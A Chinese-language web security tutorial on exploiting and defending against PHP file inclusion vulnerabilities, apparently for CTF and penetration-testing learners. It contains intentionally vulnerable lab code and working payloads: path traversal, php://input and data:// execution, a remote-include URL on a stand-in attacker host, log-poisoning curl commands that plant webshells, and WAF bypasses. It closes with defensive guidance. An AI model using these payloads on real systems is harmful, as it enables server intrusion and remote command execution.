Web安全进阶:文件包含漏洞利用技巧与防御实战

发布时间:2026/8/14 22:42:42
Web安全进阶:文件包含漏洞利用技巧与防御实战 在CTF比赛或渗透测试中Web文件包含漏洞是获取服务器敏感信息、执行系统命令甚至获取WebShell的经典突破口。很多初学者在理解本地文件包含LFL后面对远程文件包含RFL和更复杂的利用场景时常常感到无从下手。本文将从实战角度出发深入剖析文件包含漏洞的进阶利用技巧包括无后缀文件包含、日志污染、PHP伪协议的高级应用以及绕过常见WAF/过滤的方法并提供完整的本地靶场复现环境。无论你是CTF选手、安全爱好者还是希望加固自身应用的开发者都能从中获得系统性的知识和可复现的实战经验。1. 文件包含漏洞核心概念回顾与进阶分类在深入高级技巧前我们有必要对文件包含漏洞建立一个清晰、完整的认知框架。这不仅是理解后续内容的基础也能帮助我们在实际场景中快速定位漏洞点。1.1 什么是文件包含文件包含是Web开发中一种常见的代码复用机制。开发者通过特定的函数将另一个文件的内容引入当前文件执行。这有助于模块化开发提高代码可维护性。在PHP中主要的包含函数有四个include()包含并运行指定文件。如果包含失败如文件不存在会发出一个警告E_WARNING但脚本会继续执行。require()包含并运行指定文件。如果包含失败会引发一个致命错误E_COMPILE_ERROR并终止脚本执行。include_once()与include()功能相同但会检查该文件是否已经被包含过。如果是则不会再次包含。require_once()与require()功能相同但会检查该文件是否已经被包含过。漏洞产生的根本原因在于这些函数包含的“文件路径”参数如果完全或部分由用户输入控制且没有经过严格的过滤和校验攻击者就可以通过构造恶意路径让应用程序包含并执行非预期的文件从而造成安全风险。1.2 本地文件包含 vs. 远程文件包含这是文件包含漏洞最基本的分类其利用条件和危害程度有显著区别。本地文件包含攻击者只能包含服务器本地文件系统上的文件。关键配置allow_url_include设置为Off默认情况。利用目标敏感配置文件如/etc/passwd、应用程序源码、日志文件、Session文件、临时文件等。示例Payload?file../../../../etc/passwd远程文件包含攻击者可以包含远程服务器攻击者控制上的文件。关键配置allow_url_include设置为On。注意自PHP 5.2.0起该选项默认关闭且在php.ini中明确标记为“PHP_INI_SYSTEM”意味着无法通过ini_set()在运行时开启。利用方式直接包含一个远程URL该URL指向一个包含恶意代码的文本文件通常后缀为.txt或.php。示例Payload?filehttp://attacker.com/shell.txt危害危害极大相当于直接让服务器下载并执行攻击者的代码通常能直接获取WebShell。1.3 文件包含漏洞的常见入口点理解漏洞常出现的位置有助于在代码审计或黑盒测试中快速定位。模板加载/渲染?pageabout,?modulenews语言/本地化切换?langen文件下载/查看?filereport.pdf插件/组件调用?pluginuserProfile2. 靶场环境搭建与基础漏洞代码为了安全、合法地学习和复现漏洞我们必须在隔离的本地环境中进行。以下将搭建一个简单的PHP靶场。2.1 环境准备操作系统Windows 10/11, macOS, 或 Linux (如 Ubuntu)Web服务器XAMPP、WAMP、MAMP 或 Docker PHP镜像。本文以XAMPP为例。代码编辑器VS Code、PhpStorm、Sublime Text等。2.2 漏洞代码示例在XAMPP的htdocs目录下创建一个名为lfi-lab的文件夹并创建以下文件1. 基础存在漏洞的文件 (vuln.php):?php // vuln.php - 存在文件包含漏洞的示例 $file $_GET[file]; // 用户输入直接传递给包含函数无任何过滤 include($file); ?这是一个最原始、最典型的漏洞代码。攻击者通过?file参数可以控制包含的目标。2. 带简单后缀过滤的漏洞文件 (vuln_filter.php):?php // vuln_filter.php - 存在过滤但可绕过的示例 $file $_GET[file]; if (strpos($file, .php) ! false) { die(Hacker! No .php allowed!); } include($file . .php); // 自动添加.php后缀 ?这段代码尝试禁止参数中出现.php字符串并自动为输入添加.php后缀。我们将学习如何绕过它。3. 带路径替换过滤的漏洞文件 (vuln_replace.php):?php // vuln_replace.php - 使用str_replace过滤 $file $_GET[file]; $file str_replace(../, , $file); // 简单替换目录遍历符 include(/var/www/html/ . $file); // 假设固定了基础路径 ?这种过滤非常脆弱很容易被双写等手段绕过。将上述文件保存后通过浏览器访问http://localhost/lfi-lab/vuln.php我们的靶场就准备好了。3. 进阶利用技巧无后缀包含与日志污染当目标对包含的文件名有后缀限制或者我们无法直接上传.php文件时就需要利用一些特殊技巧。3.1 无后缀文件包含利用场景漏洞代码类似vuln_filter.php它禁止参数中出现.php但最后又自动添加了.php后缀。如果我们传入?fileshell最终会尝试包含shell.php。利用方法空字节截断原理在PHP版本 5.3.4 的环境中include()等函数在解析文件路径时如果遇到空字节%00会将其视为字符串的结束。而自动添加的后缀.php在空字节之后因此被忽略。Payload:?file../../../../etc/passwd%00实际尝试包含/etc/passwd而非/etc/passwd.php。现状此技巧在PHP 5.3.4及以上版本已被修复空字节不再具有截断效果。但在一些历史遗留系统或CTF老题目中仍可能遇到。更通用的方法利用PHP伪协议当空字节失效后php://filter协议成为无后缀包含的利器。它不需要文件有.php后缀只要文件内容能被当作PHP代码执行即可。我们通常用它来读取源码配合其他漏洞如文件上传来执行代码。具体用法将在第4节详述。3.2 日志文件包含攻击这是本地文件包含漏洞最具威力的利用方式之一可以在没有文件上传功能的情况下获取WebShell。原理 Web服务器如Apache、Nginx会将所有访问请求记录在日志文件中例如access.log。如果我们在User-Agent或请求路径中插入一段PHP代码这段代码就会被原样写入日志文件。随后利用LFI漏洞去包含这个日志文件服务器就会将日志文件中的PHP代码解析执行。攻击步骤定位日志路径首先需要知道日志文件的绝对路径。常见默认路径有Apache/var/log/apache2/access.log,/var/log/httpd/access_log,C:\xampp\apache\logs\access.logNginx/var/log/nginx/access.log可以通过LFI读取配置文件或报错信息来获取。污染日志使用工具如Burp Suite、curl或浏览器插件发送一个特殊的HTTP请求。# 使用curl污染User-Agent curl -A ?php system(\$_GET[cmd]);? http://localhost/lfi-lab/vuln.php?filetest.txt # 或者污染请求路径需要URL编码 curl http://localhost/lfi-lab/vuln.php/?php phpinfo();?注意如果日志中的PHP代码包含短标签?需要确保目标服务器的short_open_tag配置为On否则使用完整标签?php ... ?更可靠。包含并执行通过LFI漏洞包含被污染的日志文件。http://localhost/lfi-lab/vuln.php?file../../../../var/log/apache2/access.log如果成功服务器会解析日志文件中的PHP代码。此时可以尝试执行命令http://localhost/lfi-lab/vuln.php?file../../../../var/log/apache2/access.logcmdid假设我们污染的是system($_GET[cmd])实战注意事项日志文件通常很大包含可能导致进程超时或内存耗尽。可以尝试包含error.log或通过参数污染制造一个单独的、易于包含的404错误日志条目。现代服务器或安全配置可能会对日志内容进行编码或过滤导致PHP代码被破坏。确保你对日志文件有读取权限。4. PHP伪协议深度解析与利用PHP内置了一系列封装协议Wrapper为文件包含漏洞的利用打开了新世界的大门。它们可以用于读取源码、执行代码、甚至进行SSRF攻击。核心配置allow_url_fopen和allow_url_include会影响这些协议的使用。allow_url_fopen默认通常为On允许类似http://的URLallow_url_include默认Off仅影响php://input等少数协议。4.1 php://filter — 源码读取器这是最常用、最安全的伪协议主要用于读取文件源码特别是当文件被包含后直接执行导致我们看不到源代码时。基本语法php://filter/read转换过滤器/resource目标文件read指定过滤器链。resource指定要读取的文件。常用过滤器convert.base64-encode将文件内容进行Base64编码输出。这是最常用的方式可以避免包含文件时因包含特殊字符如?php ?导致解析错误或直接执行。convert.iconv.*进行字符编码转换可用于某些绕过。string.rot13进行ROT13编码。zlib.*进行压缩/解压。实战示例读取PHP源码http://localhost/lfi-lab/vuln.php?filephp://filter/readconvert.base64-encode/resourcevuln.php返回的结果是Base64编码后的vuln.php文件内容解码后即可获得源代码。读取系统文件http://localhost/lfi-lab/vuln.php?filephp://filter/readconvert.base64-encode/resource/etc/passwd过滤器链可以串联多个过滤器。php://filter/readconvert.iconv.utf-8.utf-16le|convert.base64-encode/resourceconfig.php4.2 php://input — 直接代码执行这是一个极其危险的协议允许我们将POST请求的原始体body作为PHP代码执行。利用条件allow_url_include必须为On较难满足。目标include函数包含的是php://input这个“流”而不是一个文件。攻击步骤发送一个POST请求。将请求的Content-Type设置为application/x-www-form-urlencoded。在POST Body中直接写入要执行的PHP代码。URL参数指向php://input。Burp Suite 示例POST /lfi-lab/vuln.php?filephp://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 18 ?php phpinfo();?如果配置允许服务器将执行phpinfo()。4.3 data:// — 数据流包含与php://input类似但代码是直接编码在URL中的。基本语法data://text/plain,代码或data://text/plain;base64,Base64编码的代码利用条件allow_url_include必须为On。实战示例直接执行http://localhost/lfi-lab/vuln.php?filedata://text/plain,?php phpinfo();?注意代码中的?php标签可能需要URL编码。Base64编码执行更可靠http://localhost/lfi-lab/vuln.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b其中PD9waHAgcGhwaW5mbygpOz8是?php phpinfo();?的Base64编码。4.4 其他有用协议zip://可以包含ZIP压缩包中的特定文件。例如zip:///path/to/archive.zip%23file.txt#需要编码为%23。phar://与zip://类似但更强大支持Phar归档常用于反序列化攻击中。expect://用于执行系统命令但需要安装并启用PECL的expect扩展极不常见。5. 绕过过滤与WAF的奇技淫巧在实际漏洞利用中我们很少遇到像vuln.php那样毫无防护的代码。下面总结常见的过滤手段及其绕过方法。5.1 绕过路径遍历过滤场景1简单替换../如vuln_replace.php所示代码使用str_replace(../, , $input)。绕过方法双写绕过。原理str_replace仅进行一次替换。输入..././经过替换后中间的../被删掉两边的.和/组合成了新的../。Payload:?file..././..././..././etc/passwd场景2过滤../和..\绕过方法使用绝对路径。如果知道Web目录的绝对路径可以直接包含。Payload:?file/var/www/html/config.php绕过方法利用编码。某些WAF可能只检测明文。URL编码..%2f(/),%2e%2e%2f(../),..%c0%af(UTF-8过载编码取决于服务器解析)。注意PHP在接收$_GET/$_POST时会自动解码一次所以传入%2f会被解码为/。5.2 绕过后缀限制场景1强制添加后缀如.php如前所述使用php://filter读取源码或利用空字节旧版本。场景2白名单校验代码只允许包含about.html,news.php等固定文件。绕过方法路径穿越 伪协议。如果校验逻辑不严可能可以先穿越目录再指向目标文件。假设校验$file是否在[‘about’, ‘news’]列表中通过后拼接.php。但若传入news/../../../etc/passwd校验通过最终包含news/../../../etc/passwd.php可能因为文件不存在而报错但有时报错信息会泄露路径。更常见的利用是配合文件上传将木马上传到可访问目录然后包含它。绕过方法利用zip://或phar://。可以上传一个包含恶意PHP文件的ZIP包然后包含zip:///path/to/evil.zip%23shell.php。5.3 绕过WAFWeb应用防火墙WAF通常会检测请求参数中的敏感字符串如../,etc/passwd,php://等。拆分/混淆将关键字拆分为多个参数或与普通参数混合。编码混淆多重URL编码php://-%2570%2568%2570%253a%252f%252fWAF解码一次可能识别不出PHP最终解码两次。HTML实体编码在某些上下文中有用。Unicode编码/变形。协议大小写变形PHP://PhP://PHP协议通常不区分大小写。使用不常见的协议如compress.zlib://file://等。利用WAF解析差异某些WAF与后端Web服务器/PHP解析器在解析URL、参数时的差异可能导致绕过。例如在参数中添加?、#、;等。6. 实战综合案例从LFI到GetShell假设我们面对一个目标http://target.com/index.php?pageabout探测漏洞尝试?page../../../../etc/passwd成功返回内容确认存在LFI。读取源码使用php://filter读取index.php本身分析其包含逻辑。?pagephp://filter/readconvert.base64-encode/resourceindex假设它会自动加.php 解码后发现代码是include($_GET[page] . .php);寻找上传点发现网站有头像上传功能但只允许.jpg,.png。制作图片马创建一个包含PHP代码的图片文件。echo ?php system($_GET[c]);? shell.jpg或者使用GIF文件头绕过GIF89a?php system($_GET[c]);?上传并获取路径上传shell.jpg通过响应或查看页面元素得知文件被重命名为1623456789.jpg并存储在/uploads/。包含图片马利用LFI包含上传的图片。但由于有.php后缀限制直接包含uploads/1623456789.jpg会变成uploads/1623456789.jpg.php文件不存在。利用伪协议绕过后缀使用php://filter来包含图片文件但需要让服务器将其内容作为PHP执行。这里需要另一个技巧如果图片内容被当作纯文本包含其中的PHP代码不会执行。我们需要找到一个能执行代码的包含点。如果allow_url_includeOn可以尝试用php://input或data://。如果不行则回到日志污染的思路。日志污染GetShell确定Apache日志路径为/var/log/apache2/access.log。污染日志curl -A ?php file_put_contents(shell.php, ?php eval(\$_POST[cmd]);?);? http://target.com/包含日志执行代码?page../../../../var/log/apache2/access.log。这会执行User-Agent中的代码在Web根目录写入一个真正的shell.php。访问http://target.com/shell.php使用POST参数cmd系统命令即可管理服务器。7. 防御方案与最佳实践作为开发者必须从根源上杜绝文件包含漏洞。7.1 输入验证与白名单这是最有效的方法。绝对禁止用户输入直接进入包含函数。建立白名单机制将允许包含的文件名映射到一个标识符。// 安全示例 $allowed_pages [ home home.php, about about.php, contact contact.php, ]; $page $_GET[page] ?? home; if (array_key_exists($page, $allowed_pages)) { include(__DIR__ . /templates/ . $allowed_pages[$page]); } else { include(__DIR__ . /templates/404.php); }严格校验输入内容如果必须使用动态路径应严格限制字符仅允许字母、数字、下划线、短横线并使用basename()函数去除路径部分。7.2 安全配置PHP配置确保allow_url_fopen Off根据业务需要。务必确保allow_url_include Off生产环境绝对不要开启。设置open_basedir限制PHP可访问的目录范围。关闭register_globals已废弃。服务器配置将Web根目录如/var/www/html与应用程序目录、日志目录、配置文件目录分离。为Web服务器进程如www-data用户设置最小权限原则限制其对系统文件的读取权限。7.3 代码层面使用绝对路径结合白名单使用__DIR__等魔术常量构造绝对路径避免相对路径遍历。避免动态包含重新评估架构是否必须使用动态包含能否改用路由分发或模板引擎安全函数如果需要包含非PHP文件如模板使用file_get_contents()读取内容然后使用echo输出而不是include。7.4 其他措施定期安全审计对代码进行人工或工具如RIPS、Fortify的静态扫描。部署WAF虽然不能根治但可以增加攻击难度防范自动化工具。保持更新及时更新PHP版本和框架修复已知的安全问题。文件包含漏洞的利用是一个层层递进的过程从简单的目录遍历读取敏感文件到利用伪协议获取源码再到通过日志污染或结合上传功能获取服务器权限。理解每一步的原理和前提条件是成功利用和有效防御的关键。对于安全研究人员掌握这些技巧有助于深入理解Web安全对于开发者则是一次警醒必须在编码之初就筑牢安全的篱笆。建议读者在本地靶场中逐一复现本文提到的所有技巧并尝试搭建一个安全的包含函数从攻防两个角度深化理解。